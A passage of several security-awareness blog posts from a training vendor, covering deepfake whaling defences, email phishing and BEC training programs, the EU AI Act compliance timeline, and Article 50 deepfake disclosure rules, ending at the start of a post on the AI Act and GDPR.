exercise](/exercises/whaling-with-a-deepfake/) walks employees through a realistic scenario where they receive a deepfake video call from their "CEO" and must decide how to respond. The behavioral training matters more than the technical detection. Pixel-level artifacts, inconsistent blinking, or audio sync issues are unreliable tells that improve away with each model generation. Process-based defenses (callback verification, dual authorization, code words) work regardless of how good the deepfake technology gets. ## How are organizations adapting their security policies? The policy response to deepfakes centers on removing single-point-of-trust failures. **Dual authorization for financial transactions.** No wire transfer above a threshold amount proceeds on verbal authorization alone, regardless of who requests it. Two people must independently verify through separate channels. **Callback verification protocols.** Any request for funds, credentials, or sensitive data received via phone or video must be confirmed by calling the requester on a pre-registered number stored in the company directory. "They're on the line right now" is not an acceptable reason to skip this step. **Limiting public exposure of executive voices and faces.** Some organizations have begun reducing the volume of public video content featuring C-suite executives. This isn't always practical, but it does reduce the training material available to attackers. At minimum, security teams should audit what audio and video of key personnel exists publicly. **Updated [incident reporting](/blog/social-engineering-attacks/) procedures.** Employees need a clear path to report suspected deepfake attempts, even if they aren't sure. A "that call felt weird but I don't know why" report is more valuable than no report. False positives are cheap. False negatives cost millions. ## What does the threat landscape look like going forward? The cost of generating deepfakes is dropping while quality improves. In 2022, creating a convincing deepfake video required specialized expertise, powerful GPUs, and hours of source footage. By 2025, commercial services offer real-time face swapping for under $100/month. Voice cloning services require no technical expertise at all. Three developments will shape the near-term risk. First, real-time deepfakes during live video calls will become indistinguishable from real participants for casual observers. Detection will shift entirely to behavioral and procedural methods rather than visual inspection. Second, attackers will combine deepfake technology with compromised internal information. An attacker who breaches a company's email first, reads internal communications, and then places a deepfake call using that context becomes nearly impossible to distinguish from the real person. This combination of [credential compromise](/blog/credential-stuffing-awareness/) and deepfake impersonation represents the next wave. Third, multi-modal attacks will escalate. Instead of a single deepfake call, attackers will stage coordinated campaigns: an [AI-crafted phishing email](/blog/ai-powered-phishing/), a follow-up deepfake video call, and a confirming text message, all from synthetic versions of the same person. When every channel says the same thing, resistance requires training. The organizations that will handle this well are the ones building verification habits now, before the technology makes detection impossible. The goal isn't to teach employees to spot deepfakes. It's to build a culture where identity verification is automatic, regardless of how convincing someone appears to be. --- *Build the verification reflex through practice. Drill an AI-cloned executive voice on the phone with [Deepfake Audio Detection](/exercises/deepfake-audio-detection/), walk the live-call scenario in [Whaling With A Deepfake](/exercises/whaling-with-a-deepfake/), or run [Verification Procedures](/exercises/verification-procedures/) against a vendor banking-change request. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for more.* --- ### Email Security Training Source: https://ransomleak.com/blog/email-security-training/ According to Deloitte research, 91% of cyber attacks still start with an email. That number hasn't moved much in years. We've deployed spam filters, secure email gateways, AI-powered anomaly detection, and a dozen other technical controls. Attackers don't care. When one tactic gets blocked, they try another. When detection catches a pattern, they change the pattern. The technology arms race is unwinnable on its own. Trained employees add a different kind of defense, one that applies judgment and recognizes context. A well-crafted [spear phishing email](/blog/phishing-detection/) might slide past every filter you own, but an employee who knows to verify unexpected requests kills the attack anyway. ## What is the real cost of email security failures? | Attack type | Average cost | Frequency | Primary target | |-------------|--------------|-----------|----------------| | Business email compromise | $125,000+ (FBI IC3) | Daily attempts | Finance, executive | | Ransomware (via email) | $1.85 million (Sophos, 2024) | Growing rapidly | All employees | | Credential theft | $4.5 million per breach (IBM, 2024) | Constant | IT, administrative | | Data exfiltration | Varies widely | Regular attempts | Data handlers | These numbers don't include reputation damage, customer loss, or regulatory penalties. A single successful email attack often triggers cascading harm that extends far beyond the initial compromise. ## What email threats do employees face every day? ### Phishing attacks Mass phishing casts a wide net. These attacks mimic account alerts ("Your password expires today"), shipping notifications ("Your package couldn't be delivered"), financial warnings ("Unusual activity detected"), and IT requests ("Verify your credentials"). None of this is sophisticated. It doesn't need to be. Volume handles the rest. If 1% of employees click and you have 1,000 people, that's 10 compromised accounts from a single campaign. Our guide on [how to spot phishing](/blog/phishing-detection/) covers the specific indicators employees should learn to recognize. ### Spear phishing Targeted phishing is a different animal. Attackers study LinkedIn profiles, company announcements, and social media, then build messages that reference recent projects, name specific colleagues, mention real vendors, and follow actual business processes. The personalization makes these dramatically more effective than mass campaigns. Try our [spear phishing exercise](/exercises/spear-phishing/) to practice spotting these targeted attacks. For an in-depth look at how this connects to broader manipulation tactics, see our piece on [social engineering attacks](/blog/social-engineering-attacks/). ### Business email compromise [BEC attacks](/blog/bec-training/) impersonate trusted people to manipulate employees into harmful actions, usually involving money or data. CEO fraud has an executive "requesting" an urgent wire transfer. Vendor impersonation swaps payment details on a legitimate-looking invoice. Attorney impersonation pressures someone into immediate action on a "confidential" matter. Data theft requests target employee records or financial information. BEC has cost organizations over $50 billion since the FBI began tracking it, according to FBI IC3 reports. The reason it works so well? No malware, no malicious links. Nothing for your technical controls to flag. ### Credential harvesting Fake login pages that mimic real services. "Password reset" flows that capture current credentials. "Account verification" forms requesting sensitive data. The goal is always the same: steal login credentials to enable further attacks, from email account takeover to full network compromise. ### Malware delivery Malicious attachments, links to drive-by download sites, embedded content exploiting vulnerabilities. Once malware executes, attackers have their foothold for ransomware, data theft, or persistent access. ## What to actually teach ### How to spot a phishing email Employees need to examine emails with healthy skepticism, and that starts with the sender. Check the actual email address, not the display name. Verify domain spelling (paypa1.com vs. paypal.com). Question unexpected emails from known contacts. Content tells a story too. Urgency demanding immediate action, threats of negative consequences, requests for credentials, generic greetings, grammar errors. Though sophisticated attacks have gotten much better at avoiding the obvious tells. Links deserve their own focus. Hover before clicking. Verify URLs match expected destinations. Watch for misleading link text. And never enter credentials after clicking an email link. Our [phishing simulation training](/blog/phishing-simulation-training/) program lets employees practice all of this in safe, realistic scenarios. Attachments follow the same principle: question anything unexpected, be wary of uncommon file types, keep protected view enabled for Office documents, and report suspicious attachments before opening. Our [file extension awareness exercise](/exercises/file-extension-awareness/) teaches employees to recognize dangerous file types disguised as harmless documents. ### Email authentication basics Employees don't need to become email protocol experts, but they should understand that technical standards like SPF, DKIM, and DMARC verify sender legitimacy. They should also know why spoofing still works: attackers use [lookalike domains](/blog/typosquatting-awareness/) that pass authentication checks. The takeaway is simple. Verify through independent channels, not email alone. ### Verification procedures that prevent fraud This is where training saves real money. Wire transfer requests need a phone call to the requester using a known number (not the one in the email), verification through a documented approval chain, independent confirmation of account details, and documentation of every step. Vendor payment changes require contacting the vendor through an existing relationship contact, verifying through multiple methods, implementing a waiting period, and flagging all payment detail modifications for review. Credential requests have the clearest rule: never provide passwords via email, regardless of who appears to be asking. Report every credential request to IT security. Navigate to sites directly instead of through email links. Contact IT through known channels to verify anything suspicious. ## What training methods build real email security skills? ### Phishing simulations Regular [phishing simulations](/blog/phishing-simulation-training/) test recognition in realistic scenarios. The program should use varied attack types and sophistication levels, test everyone including executives, provide immediate feedback after a click, track progress over time, and treat the whole thing as education rather than a trap. Simulations build practical recognition that passive training can't touch. ### Interactive exercises Hands-on practice beats lecture slides every time. Employees should work through exercises that require identifying phishing versus legitimate emails, analyzing headers and sender information, making decisions under realistic time pressure, and reporting suspicious messages correctly. [Interactive cybersecurity exercises](/blog/cybersecurity-awareness-exercises/) create stronger learning because they demand active participation. You can also try our free [Phishing](/exercises/phishing/) and [BEC](/exercises/business-email-compromise/) exercises to see what this looks like in practice. ### Real-world case studies Studying actual attacks makes abstract threats concrete. How did a sophisticated attack unfold? Why did the victim fall for it? What warning signs existed? How could it have been prevented? Real examples stick in memory far longer than hypothetical scenarios. ### Just-in-time learning Training delivered at the right moment sticks best. Education immediately after someone clicks a simulation. Reminders during high-risk periods. Updates when new attack variants emerge. Reinforcement tied to actual email activity. Timing matters more than volume. ## How do you build an email security program from scratch? ### Phase 1: figure out where you stand (weeks 1-2) Run an initial phishing simulation to measure your baseline click rate. Survey employees to assess current knowledge. Review past email security incidents. Identify which roles carry the highest risk. You can't improve what you haven't measured. ### Phase 2: lay the foundation (weeks 3-6) Deploy core email security education covering the types of threats employees face, recognition skills for common attacks, reporting procedures, and verification processes. Everyone completes baseline training before moving to advanced modules. For a broader view of how this fits into your overall program, check our [security awareness training guide](/blog/security-awareness-training-guide/). ### Phase 3: ongoing simulation (continuous) Monthly phishing simulations for all employees. Vary difficulty and attack types. Provide immediate feedback and education. Track progress and generate reports. The simulations should feel like real attacks, not obvious tests. ### Phase 4: role-specific depth (quarterly) Finance teams need focused [BEC training](/blog/bec-training/) covering CEO fraud recognition, invoice fraud detection, and wire transfer security. Executives face [whaling attacks](/blog/what-is-whaling-cybersecurity/) and need different scenarios entirely. IT staff deal with credential theft and system access impersonation. Generic training wastes everyone's time. Tailor the content. ### Phase 5: culture integration (ongoing) Recognize people who report suspicious emails. Send regular security communications. Get leadership visibly participating. Improve based on your metrics. Training works best when security becomes part of how the organization operates, not an annual checkbox. Our breakdown of [how to measure training effectiveness](/blog/security-awareness-training-effectiveness/) covers the metrics that matter. ## How do you measure whether email security training is working? ### Primary metrics | Metric | Baseline | Target | Excellent | |--------|----------|--------|-----------| | Phishing click rate | 20-35% | Under 10% | Under 5% | | Reporting rate | 10-20% | Over 50% | Over 70% | | Time to report | Days | Hours | Under 1 hour | | Repeat clickers | Common | Rare | Very rare | ### Secondary metrics Training completion rates, assessment scores, employee confidence levels, incident reduction, and near-miss reports all tell part of the story. Track improvement across simulations, watch how reporting rates grow, and measure how response times improve. The trend matters more than any single data point. ## What goes wrong with email security training The biggest failure mode is treating simulations as gotcha tests. When you design impossible-to-detect phishing and then punish people who click, you create resentment, not skills. Simulations should challenge employees while remaining detectable with proper attention. The goal is education, not embarrassment. Punishment-focused programs backfire for the same reason. Employees who face public shaming or job consequences for clicking don't get better at spotting threats. They get better at hiding mistakes. Treat clicks as learning opportunities. Celebrate progress instead of punishing failure. Annual-only training fails predictably. Brief awareness spikes fade within weeks. Employees forget lessons before they encounter real attacks. Continuous touchpoints through monthly simulations, regular tips, and ongoing reinforcement keep skills sharp. Generic content wastes time. Accountants need different scenarios than engineers. Customize simulations to reflect the real threats facing specific roles and your industry. This also extends beyond email. Attackers use [phone-based vishing](/blog/vishing-awareness/), [SMS-based smishing](/blog/what-is-smishing-cybersecurity/), and [multi-step barrel phishing](/blog/barrel-phishing/) to hit employees from multiple angles. And don't neglect reporting. Training that emphasizes recognition but ignores reporting leaves a critical gap. Make reporting easy. Celebrate reporters. Track reporting metrics alongside click rates. ## Training works best with technical controls Training and technology aren't competing strategies. They're complementary layers. Email authentication (SPF, DKIM, DMARC), advanced threat protection, link scanning, attachment filtering, and impersonation detection all reduce the volume of threats that reach employees. Process controls matter too. Multi-person approval for large transactions, out-of-band verification requirements, payment change waiting periods, and documented authorization procedures create structural barriers that attackers must overcome. And reporting needs to be frictionless. A report button in the email client, clear escalation procedures, feedback loops so reporters know their reports mattered, and integration with security operations. When reporting is easy and rewarding, people do it. ## Where to start Your employees will receive malicious emails tomorrow. The question is whether they'll recognize and report them, or click. Start with our free exercises: [Phishing](/exercises/phishing/), [Business Email Compromise](/exercises/business-email-compromise/), or [Callback Phishing](/exercises/callback-phishing/) and see what hands-on email security training actually looks like. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for more. If you're building a broader program, our [complete training guide](/blog/security-awareness-training-guide/) covers the full picture. --- ### EU AI Act Timeline: Compliance Deadlines to 2027 Source: https://ransomleak.com/blog/eu-ai-act-compliance-deadlines/ The EU AI Act does not arrive on a single date. It applies in stages between 2024 and 2027, and each stage switches on a different set of obligations for the organizations that build or use AI systems in Europe. Two of those stages are already live. The next one, the high-risk regime, lands on 2 August 2026, which makes the remaining months the window most compliance teams are working against right now. ## What is the EU AI Act timeline? The EU AI Act timeline is the staged schedule that brings Regulation (EU) 2024/1689 into force between 2024 and 2027. The law entered into force on 1 August 2024. Prohibited practices and AI literacy duties applied on 2 February 2025, the general-purpose AI rules on 2 August 2025, and the high-risk obligations on 2 August 2026. The dates are fixed in the regulation itself, so they apply uniformly across all 27 Member States. The table below is the fastest way to see which obligation switches on when. | Date | What applies | Who it reaches | Top penalty tier | |------|-------------|----------------|------------------| | 1 Aug 2024 | Regulation enters into force | Everyone in scope | Not yet enforceable | | 2 Feb 2025 | Prohibited practices (Article 5) and AI literacy (Article 4) | Every provider and deployer | €35M or 7% turnover | | 2 Aug 2025 | General-purpose AI model rules, governance, and penalties (Article 99) | GPAI providers, authorities | €15M or 3% turnover | | 2 Aug 2026 | High-risk obligations for Annex III systems and most remaining rules | High-risk providers and deployers | €15M or 3% turnover | | 2 Aug 2027 | High-risk systems embedded in regulated products (Annex I) | Product manufacturers | €15M or 3% turnover | ## When did the EU AI Act enter into force? The Artificial Intelligence Act, formally Regulation (EU) 2024/1689, entered into force on 1 August 2024. It is the first horizontal AI law in the world, and it governs providers, deployers, importers, and distributors of AI systems used inside the European Union. Entry into force did not mean immediate enforcement. The regulation set a staged calendar so organizations and national authorities had time to build the supervisory architecture and adapt their systems. The reach extends past EU borders. The Act applies when the output of an AI system is used in the Union, which pulls a large share of the global AI market into scope even for companies headquartered elsewhere. ## What applied on 2 February 2025? Two obligations switched on first, and both carry weight. The Article 5 ban on prohibited AI practices and the Article 4 AI literacy duty became enforceable on 2 February 2025. The prohibited list covers eight categories, including social scoring, untargeted facial-image scraping, manipulative or exploitative systems, and emotion recognition in workplaces and schools. These cannot be placed on the EU market at all, and breaching the ban carries the highest penalty tier of €35 million or 7% of global annual turnover. Product, procurement, and legal teams need to recognize a prohibited use before it ships, which is the focus of the [prohibited AI practices exercise](/exercises/prohibited-ai-practices/). Article 4 is the broadest obligation in the whole regulation. It requires providers and deployers to ensure a sufficient level of AI literacy among staff and anyone operating AI on their behalf, regardless of the risk tier of the systems involved. The [AI literacy essentials exercise](/exercises/ai-literacy-essentials/) trains the three behaviors the article actually expects: critical evaluation of AI output, verification before action, and disciplined data handling. For the full Article 4 breakdown, see our [EU AI Act training guide](/compliance/eu-ai-act/). ## What changed on 2 August 2025? The second stage added the rules for general-purpose AI and the enforcement machinery behind the whole regulation. On 2 August 2025, the GPAI model obligations, the governance chapter, and the Article 99 penalty regime became applicable. General-purpose AI providers now carry documentation, transparency, and copyright duties, with extra obligations for models that pose systemic risk. Deployers who build on top of these models inherit downstream responsibilities, a split that the [general-purpose AI model obligations exercise](/exercises/general-purpose-ai-models/) maps out role by role. The same date stood up the EU AI Office inside the European Commission and required Member States to name national competent authorities. The [EU AI Act penalties and enforcement exercise](/exercises/ai-act-penalties-and-enforcement/) walks through the three-tier fine structure so teams understand which obligations sit behind which financial exposure. ## What applies on 2 August 2026? This is the deadline closest on the calendar, and it is the heaviest. On 2 August 2026, the high-risk obligations apply for the AI systems listed in Annex III, and most of the remaining provisions of the regulation become applicable. Annex III covers eight domains where AI is high-risk by default: biometrics, critical infrastructure, education, employment, essential public and private services, law enforcement, migration and border control, and the administration of justice. Providers and deployers of these systems face the deepest controls in the Act, from risk management and data governance to human oversight and post-market monitoring. The [high-risk AI deployer obligations exercise](/exercises/high-risk-ai-obligations/) tests whether a launch is ready across the seven areas an auditor will check first. Most enterprises are deployers of several high-risk systems and providers of a few. A bank running a credit-scoring model, a hospital using a triage tool, and a recruiter screening CVs with an AI shortlister all sit inside Annex III, so the August 2026 date is not a niche concern. ## What is left for 2 August 2027? One category extends beyond 2026. High-risk AI systems that are embedded as safety components in products already regulated under EU law, listed in Annex I, have until 2 August 2027 to comply. Annex I covers products such as machinery, medical devices, toys, and vehicles, where existing product-safety law already requires conformity assessment. The extra year recognizes that AI obligations have to be folded into established certification processes rather than bolted on. If your AI is a feature inside a regulated physical product, 2027 is your date. For everything in Annex III, the operative deadline is still 2 August 2026. ## Does the EU AI Act apply to companies outside the EU? Yes, in many cases. The Act reaches providers and deployers established outside the EU when they place AI systems on the EU market or when the output produced by the system is used in the Union. A US software vendor selling an AI hiring tool to European customers is a provider in scope. A company headquartered outside Europe whose AI generates results consumed by an EU branch can be a deployer in scope. The territorial reach mirrors the extraterritorial logic that made GDPR a global standard. Non-EU organizations in scope generally need an authorized representative established in the Union. The practical takeaway is simple: location does not exempt you if your AI touches the European market. ## How to prepare for each EU AI Act deadline There is no single curriculum the Commission endorses, but the steps below match what national authorities and audit firms look for in a defensible program. Each one produces documentation that feeds the deadlines still ahead. **Step 1: Build an AI system inventory.** List every AI system your organization builds or uses, who owns it, and what data it touches. The [AI governance exercise](/exercises/ai-governance-in-your-organization/) shows how to build the registry and shut down shadow AI before it reaches a regulator's attention. **Step 2: Classify each system by risk tier.** Sort every entry in the inventory into prohibited, high-risk, limited-risk, or minimal-risk. The tier decides which obligations apply, and our [EU AI Act risk categories guide](/blog/eu-ai-act-risk-categories/) explains how to make each call. **Step 3: Run AI literacy training across the workforce.** Article 4 is enforceable now, so this is the cheapest first step toward overall readiness. Train general staff on safe daily use and give technical and oversight roles deeper modules. **Step 4: Assign human oversight and incident handling.** Name the people responsible for overseeing high-risk systems and define how staff report AI failures. The [AI incident reporting exercise](/exercises/ai-incident-reporting/) and [responsible AI use exercise](/exercises/responsible-ai-use-at-work/) rehearse both routines. **Step 5: Document everything.** Keep records of who trained on what, when systems were classified, and which oversight measures are in place. Authorities sample records, so the documentation is the compliance evidence. ## How the EU AI Act fits with NIS2 and GDPR The AI Act rarely arrives alone. EU organizations usually have to align it with GDPR, NIS2, and other frameworks at the same time, and the training content overlaps more than most teams expect. | Framework | Training-relevant obligation | Overlap with the AI Act | |-----------|------------------------------|--------------------------| | GDPR (EU 2016/679) | Lawful processing, data subject rights, breach response | Data governance, AI systems that process personal data | | NIS2 (EU 2022/2555) | Cyber risk management, incident reporting, management training | Incident handling, governance, supply chain | | EU AI Act (EU 2024/1689) | AI literacy, risk classification, human oversight | The core obligation set | A [GDPR employee training program](/blog/gdpr-employee-training/) already covers data handling that high-risk AI systems depend on. A [NIS2 training program](/blog/nis2-training/) covers incident reporting routines the AI Act reuses. Organizations that build one awareness program mapped across frameworks spend far less than those running parallel trainings, a pattern we cover in our [compliance training guide](/blog/compliance-training/). ## How RansomLeak supports EU AI Act readiness RansomLeak training is interactive, scenario-based, and documented in a way supervisors recognize. The dedicated EU AI Act course covers the regulation, the staged timeline, the four risk tiers, and the day-to-day practices Article 4 expects, and every module exports as SCORM for the LMS an authority will inspect. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) carries the full EU AI Act course alongside GDPR scenarios. The [AI security catalogue](/catalogue/ai-security/) covers prompt injection, deepfakes, and LLM manipulation that the [shadow AI](/blog/shadow-ai/) problem brings into scope. Role-based tracks produce the calibrated, documented literacy the regulation explicitly requires. If you want to see how scenario-based training maps to each AI Act deadline, [book a walkthrough](/contact-us/) with our team. ## Frequently asked questions ### When does the EU AI Act fully apply? The regulation entered into force on 1 August 2024 and applies in stages. Prohibited practices and AI literacy applied on 2 February 2025, general-purpose AI rules on 2 August 2025, and high-risk obligations for Annex III systems on 2 August 2026. High-risk systems embedded in regulated products under Annex I have until 2 August 2027. Full applicability is reached on that final date. ### What is the most urgent EU AI Act deadline right now? For most organizations it is 2 August 2026, when high-risk obligations for Annex III systems apply and most remaining provisions become enforceable. Banks, hospitals, recruiters, and public-service operators using AI in those domains face the deepest controls in the Act on that date. The Article 4 AI literacy duty is already enforceable, so it should be in progress already. ### What are the penalties for missing an EU AI Act deadline? Article 99 sets three tiers. Prohibited-practice breaches reach up to €35 million or 7% of global annual turnover. Most other obligations, including AI literacy, transparency, and deployer duties, reach up to €15 million or 3%. Supplying misleading information to authorities reaches up to €7.5 million or 1.5%. Small and medium enterprises face the lower of the two values rather than the higher. ### Does the EU AI Act apply to small businesses? Yes. The obligations apply based on the role you play and the risk tier of your AI systems, not your company size. Small and medium enterprises and start-ups do get proportionate treatment, including the lower end of the penalty ranges and simplified technical documentation, but the AI literacy duty under Article 4 applies regardless of headcount. ### How is the EU AI Act enforced? Enforcement runs through national competent authorities in each Member State and the EU AI Office inside the European Commission. The AI Office supervises general-purpose AI directly and coordinates the European Artificial Intelligence Board. National authorities handle market surveillance, can request documentation, and can impose the Article 99 fines. ### What should we do first to prepare? Build an inventory of every AI system you use or build, classify each one by risk tier, and start AI literacy training across the workforce. The literacy duty is enforceable now and produces documentation that feeds the deeper obligations arriving in 2026 and 2027. Our [EU AI Act risk categories guide](/blog/eu-ai-act-risk-categories/) explains how to classify each system. ## Bottom line The EU AI Act is a staged regulation, and treating it as a single future deadline is the fastest way to fall behind. Two stages are already enforceable, the high-risk regime lands on 2 August 2026, and the final product-embedded systems follow in 2027. The work that satisfies the early stages also builds the evidence for the later ones. Start with an AI inventory, classify by risk, train the workforce on AI literacy, and document every step. If your organization operates AI in Europe and wants scenario-based training mapped to each deadline, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [talk to our team](/contact-us/). ## Sources - [Regulation (EU) 2024/1689 (AI Act) - Official Journal](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) - [European Commission: AI Act](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) - [European Commission: AI Act implementation timeline](https://digital-strategy.ec.europa.eu/en/policies/ai-act-enters-force) - [EU AI Office](https://digital-strategy.ec.europa.eu/en/policies/ai-office) --- ### Deepfakes and the EU AI Act: Article 50 Transparency Source: https://ransomleak.com/blog/eu-ai-act-deepfakes/ The EU AI Act does not ban deepfakes. It treats them as a transparency problem, so the duty is not to stop synthetic media but to make sure people know when content is artificial. That duty lives in Article 50, and it splits the responsibility between the company that builds the generation tool and the company that publishes the result. Getting the split wrong is how a marketing clip or a training video turns into a compliance gap. ## How does the EU AI Act regulate deepfakes? Under the EU AI Act (Regulation (EU) 2024/1689), a deepfake is AI-generated or manipulated audio, image, or video that resembles real people, objects, or events and would falsely appear authentic. Article 3(60) sets that definition. Article 50 places deepfakes in the limited-risk tier and attaches transparency duties: the artificial nature of the content must be disclosed so an ordinary person is not deceived. This is a lighter regime than the high-risk rules that govern systems like CV screening or credit scoring. The concern is honesty rather than safety, and the fix is a label rather than a ban. For how this tier sits next to the others, see our [EU AI Act risk categories guide](/blog/eu-ai-act-risk-categories/). ## What does Article 50 require for synthetic media? Article 50 sets two distinct duties that often apply to the same piece of content. Providers of general-purpose generative AI must mark their output as artificially generated in a machine-readable format, so downstream systems can detect it. Deployers who create or publish a deepfake must disclose that the content is artificially generated or manipulated, in a way a person can perceive. The machine-readable mark and the human-facing disclosure are separate requirements. A video can carry an invisible watermark from the generation tool and still breach Article 50 if the company posting it gives viewers no visible notice. The table below shows who owes what. | Duty | Who it falls on | What it looks like in practice | |------|-----------------|-------------------------------| | Mark output as AI-generated | Provider of the GenAI system | Machine-readable watermark or metadata, robust and detectable | | Disclose a deepfake to viewers | Deployer who publishes it | Visible caption, label, or on-screen notice | | Disclose chatbot is AI | Deployer running the bot | Statement before the conversation begins | | Inform when text is AI-generated | Deployer publishing AI text on public-interest matters | Disclosure unless human-reviewed with editorial responsibility | The exercise on [AI transparency and disclosure](/exercises/ai-transparency-and-disclosure/) walks a marketing team through labeling each of these correctly, including a cloned-voice testimonial and an AI-upscaled product image. ## Who must disclose a deepfake: the provider or the deployer? Both, but for different parts of the same problem. The provider is the company that develops the generative AI system and places it on the market, and its job is to embed the machine-readable mark at the point of creation. The deployer is the company that uses the system under its own authority and publishes the result, and its job is the visible disclosure to the audience. A provider that watermarks correctly does not discharge the deployer's duty. If your team uses an outside tool to generate a synthetic spokesperson for an ad, the vendor handles the technical mark, but your organization is the deployer that must tell viewers the figure is artificial. The [provider versus deployer exercise](/exercises/provider-vs-deployer/) makes this split concrete with a realistic scenario. Most enterprises are deployers far more often than providers. You rarely build the model, but you constantly publish what it produces, which is where the disclosure duty bites. ## Are there exceptions for art, satire, or law enforcement? Yes, and they are proportionate rather than blanket. Article 50 carves out an exception for content that is part of an evidently artistic, creative, satirical, or fictional work. In those cases the disclosure must not spoil the experience, so it can be limited to a notice that does not hamper the display of the work. Law enforcement use to detect, prevent, investigate, or prosecute crime is also treated differently under the regulation. These exceptions are narrow, and they do not cover ordinary commercial or corporate communications. A satirical sketch can carry a light-touch credit, but a fake executive announcement dressed up as real falls squarely inside the disclosure duty. The safe operating rule for most businesses is simple. If a reasonable viewer could mistake the synthetic content for genuine footage of a real person or event, disclose it. ## How do deepfake disclosure duties connect to fraud risk? Disclosure law and fraud defense point at the same problem from opposite ends. Article 50 governs the honest, declared use of synthetic media, while criminals use the exact same technology with no intention of labeling anything. The transparency duty does not stop the attacker, but the awareness it builds inside a workforce does. The stakes are concrete. In 2024, engineering firm Arup confirmed that an employee in its Hong Kong office was tricked into paying out around US$25 million after a video call populated entirely by deepfake recreations of senior staff, as reported by CNN and the Financial Times. No watermark would have helped there, because the fraudsters controlled the tooling. This is why disclosure training and attack training reinforce each other. Teams that learn to label their own synthetic content also learn how convincing it has become, which is the mindset that questions an unexpected video instruction. Our guides on [deepfake social engineering](/blog/deepfake-social-engineering/) and [AI-powered phishing](/blog/ai-powered-phishing/) cover the attack side, and the [real-time deepfake detection guide](/blog/ai-deepfake-detection-realtime/) covers the verification habits that catch a fake before money moves. ## How do GDPR and identity rights apply to deepfakes? A deepfake of a real person is almost always processing of personal data, so the AI Act sits on top of GDPR rather than replacing it. Article 50 governs the disclosure, while GDPR (Regulation (EU) 2016/679) still governs the lawful basis, the person's rights, and the security of the underlying data. Using someone's face or cloned voice without a valid basis is a data-protection problem regardless of any label. The raw material for a deepfake usually comes from public exposure. A few photos and a short voice clip are enough to train a convincing fake, and people hand that material over freely on social platforms. The [social media oversharing exercise](/exercises/social-media-oversharing/) shows how a single conference photo or birthday post feeds the reconnaissance that makes synthetic impersonation possible. The other half is impersonation of a named individual to commit fraud or steal credentials. When a deepfake spoofs a real employee to redirect payroll or harvest personal details, it crosses into identity theft, the territory the [identity theft prevention exercise](/exercises/identity-theft-prevention/) trains staff to recognize and report. ## How RansomLeak trains deepfake awareness and disclosure RansomLeak treats Article 50 as an operational skill rather than a legal abstraction. The [AI transparency and disclosure exercise](/exercises/ai-transparency-and-disclosure/) puts learners inside a content governance review, where they label AI-generated, AI-assisted, and synthetic media correctly and rewrite a chatbot that hides its AI identity. The scenario teaches the disclosure duty by making people apply it, not by reading the article to them. The attack side runs in parallel. The [deepfake audio detection exercise](/exercises/deepfake-audio-detection/) trains staff to question a cloned voice on a call, and the [whaling with a deepfake exercise](/exercises/whaling-with-a-deepfake/) rehearses the executive-impersonation scenario that cost Arup so much, the same pattern our [whaling guide](/blog/what-is-whaling-cybersecurity/) breaks down in depth. Both live in the [AI security catalogue](/catalogue/ai-security/), next to the prompt injection and LLM risks that share the same root cause. Disclosure also belongs to your compliance program, which is why the [privacy and compliance catalogue](/catalogue/privacy-compliance/) carries the EU AI Act course alongside GDPR scenarios. For the regulation end to end, our [EU AI Act training guide](/compliance/eu-ai-act/) maps each obligation to a specific exercise. To see how the synthetic-media duties translate into role-based training, [book a walkthrough](/contact-us/) with our team. ## Frequently asked questions ### Does the EU AI Act ban deepfakes? No. The EU AI Act does not prohibit deepfakes; it treats them as limited-risk and attaches transparency duties under Article 50. The content is allowed, but its artificial nature has to be disclosed so viewers are not deceived. Prohibited practices under Article 5 are a separate and much smaller category. ### What is the legal definition of a deepfake under the EU AI Act? Article 3(60) defines a deepfake as AI-generated or manipulated image, audio, or video content that resembles real persons, objects, places, entities, or events and would falsely appear to a person to be authentic or truthful. The definition turns on resemblance to reality and the potential to mislead, not on the specific technique used to create it. ### Who is responsible for labeling a deepfake? Responsibility is split. The provider of the generative AI system must mark output as artificially generated in a machine-readable way, and the deployer who publishes the deepfake must disclose to viewers that the content is artificial. A correct watermark from the tool does not remove the publisher's duty to give a visible disclosure. ### When do the deepfake transparency rules start to apply? The Article 50 transparency obligations apply from 2 August 2026, the same date most remaining provisions of the regulation take effect. The AI Act itself entered into force on 1 August 2024, with prohibited practices and AI literacy duties already live from 2 February 2025. ### Are there penalties for failing to disclose a deepfake? Yes. Breaching the transparency obligations can draw fines of up to €15 million or 3% of global annual turnover under Article 99, whichever is higher, with the lower figure applying to small and medium-sized enterprises. The exact penalty depends on the breach, the size of the organization, and the cooperation shown. ### Does Article 50 apply to synthetic media used internally? The disclosure duty is aimed at content that reaches people, so a deepfake published to staff, customers, or the public falls inside it. Purely internal experiments that no one is meant to mistake for real footage carry less exposure, but the safer practice is to label any synthetic depiction of a real person regardless of audience. ## Bottom line The EU AI Act regulates deepfakes through disclosure, not prohibition. Article 50 asks providers to mark synthetic output by machine and asks deployers to tell their audience the content is artificial, and most organizations carry the deployer duty far more often than they realize. Treat it as a workforce skill. Teams that label their own synthetic media correctly also build the instinct to doubt an unexpected video call, which is the same instinct that stops a deepfake fraud. If your organization operates AI in Europe, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [talk to our team](/contact-us/). ## Sources - [Regulation (EU) 2024/1689 (AI Act), Article 50 - EUR-Lex](https://eur-lex.europa.eu/eli/reg/2024/1689/oj) - [European Commission: AI Act regulatory framework](https://digital-strategy.ec.europa.eu/en/policies/regulatory-framework-ai) - [EU AI Office](https://digital-strategy.ec.europa.eu/en/policies/ai-office) - [CNN: Finance worker pays out $25 million after video call with deepfake CFO (Arup, 2024)](https://www.cnn.com/2024/02/04/asia/deepfake-cfo-scam-hong-kong-intl-hnk) - [Financial Times: Arup lost $25mn in Hong Kong deepfake video conference scam](https://www.ft.com/content/b977e8d4-664c-4ae4-8a8e-eb93bdf785ea) --- ### EU AI Act and GDPR: Where the Two Laws Overlap Source: https://ransomleak.com/blog/eu-ai-act-gdpr/ Teams often treat the EU AI Act as a brand new rulebook that lands on a clean desk. It does not. If your AI system touches personal data, GDPR was already on that desk, and the AI Act stacks on top of it. That stacking is where most of the confusion lives. The same project can owe a Data Protection Impact Assessment under one law and a Fundamental Rights Impact Assessment under the other, and nobody wants to run two parallel compliance tracks if one mapped program will do. ## What is the relationship between the EU AI Act and GDPR? The EU AI Act and GDPR are two EU regulations that apply together. GDPR (Regulation 